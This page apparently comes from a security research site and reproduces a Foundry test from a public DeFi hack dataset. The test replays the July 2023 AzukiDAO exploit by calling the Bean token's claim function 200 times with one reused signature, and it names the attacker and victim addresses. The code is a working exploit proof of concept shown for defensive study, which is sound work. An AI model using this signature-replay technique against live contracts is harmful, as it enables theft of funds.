Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/AzukiDAO_exp.sol

Public reproduction file for dataset entry AzukiDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/AzukiDAO_exp.sol86 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$69K
8// Attacker : https://etherscan.io/address/0x85d231c204b82915c909a05847cca8557164c75e
9// Vulnerable Contract : https://etherscan.io/address/0x8189afbe7b0e81dae735ef027cd31371b3974feb
10// Attack Tx : https://etherscan.io/tx/0x6233c9315dd3b6a6fcc7d653f4dca6c263e684a76b4ad3d93595e3b8e8714d34
12// @Analysis
13// https://twitter.com/sharkteamorg/status/1676892088930271232
15interface IBean is IERC20 {
16 function claim(
17 address[] memory _contracts,
18 uint256[] memory _amounts,
19 uint256[] memory _tokenIds,
20 uint256 _claimAmount,
21 uint256 _endTime,
22 bytes memory _signature
23 ) external;
26contract AzukiTest is Test {
27 IERC20 AZUKI = IERC20(0xED5AF388653567Af2F388E6224dC7C4b3241C544);
28 IBean Bean = IBean(0x8189AFBE7b0e81daE735EF027cd31371b3974FeB);
29 address private constant Elemental = 0xB6a37b5d14D502c3Ab0Ae6f3a0E058BC9517786e;
30 address private constant Beanz = 0x306b1ea3ecdf94aB739F1910bbda052Ed4A9f949;
31 address private constant azukiDAOExploiter = 0x85D231C204B82915c909A05847CCa8557164c75e;
33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
35 function setUp() public {
36 cheats.createSelectFork("mainnet", 17_593_308);
37 cheats.label(address(AZUKI), "AZUKI");
38 cheats.label(address(Bean), "Bean");
39 cheats.label(Elemental, "Elemental");
40 cheats.label(Beanz, "Beanz");
41 cheats.label(azukiDAOExploiter, "Azuki DAO Exploiter");
42 }
44 function testExploit() public {
45 deal(address(Bean), azukiDAOExploiter, 0);
46 emit log_named_decimal_uint(
47 "Attacker balance of Bean token before exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()
48 );
49 // Arguments for the claim() function calls
50 // Signature: sender + contracts + tokenIds + claimAmount + endTime
51 bytes32 r = 0xd044373fa377c3af4a854829176d14eebc23d96c342401b294f3491f0616559c;
52 bytes32 s = 0x341d0ad6bccd30ed1d09d1b778a4f91738d5105f3986c7e6de9f9df847c90c93;
53 uint8 v = 27;
54 bytes memory signature = abi.encodePacked(r, s, v);
55 assertEq(signature.length, 65);
57 address[] memory contracts = new address[](3);
58 contracts[0] = address(AZUKI);
59 contracts[1] = Elemental;
60 contracts[2] = Beanz;
61 uint256[] memory amounts = new uint256[](3);
62 amounts[0] = 1;
63 amounts[1] = 0;
64 amounts[2] = 0;
65 uint256[] memory tokenIds = new uint256[](1);
66 tokenIds[0] = 3748;
67 vm.startPrank(azukiDAOExploiter);
68 // Call claim() 200 times with the same signature. Invalid signature check in Bean token contract.
69 // More iterations possible.
70 for (uint256 i; i < 200; ++i) {
71 Bean.claim(
72 contracts,
73 amounts,
74 tokenIds,
75 31_250 * 1e18,
76 1_688_142_867, // endTime. This value must be specific to the 'endTime' provided in the attack tx. Block.timestamp won't work here.
77 signature
78 );
79 }
80 vm.stopPrank();
82 emit log_named_decimal_uint(
83 "Attacker balance of Bean token after exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()
84 );
85 }

Analysis

Dataset entry

Public Foundry test for “AzukiDAO” (2023-07-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x85d231c204b82915c909a05847cca8557164c75e

  • Vulnerable Contract

    0x8189afbe7b0e81dae735ef027cd31371b3974feb

  • Attack Tx

    0x6233c9315dd3b6a6fcc7d653f4dca6c263e684a76b4ad3d93595e3b8e8714d34

File record

Name
AzukiDAO
Path
src/test/2023-07/AzukiDAO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9567b8ac291c4aec0b32e3f67d1387b729007772
Language
Solidity
Size
87 lines
Date
2023-07-03
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/AzukiDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9567b8ac291c4aec0b32e3f67d1387b729007772, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.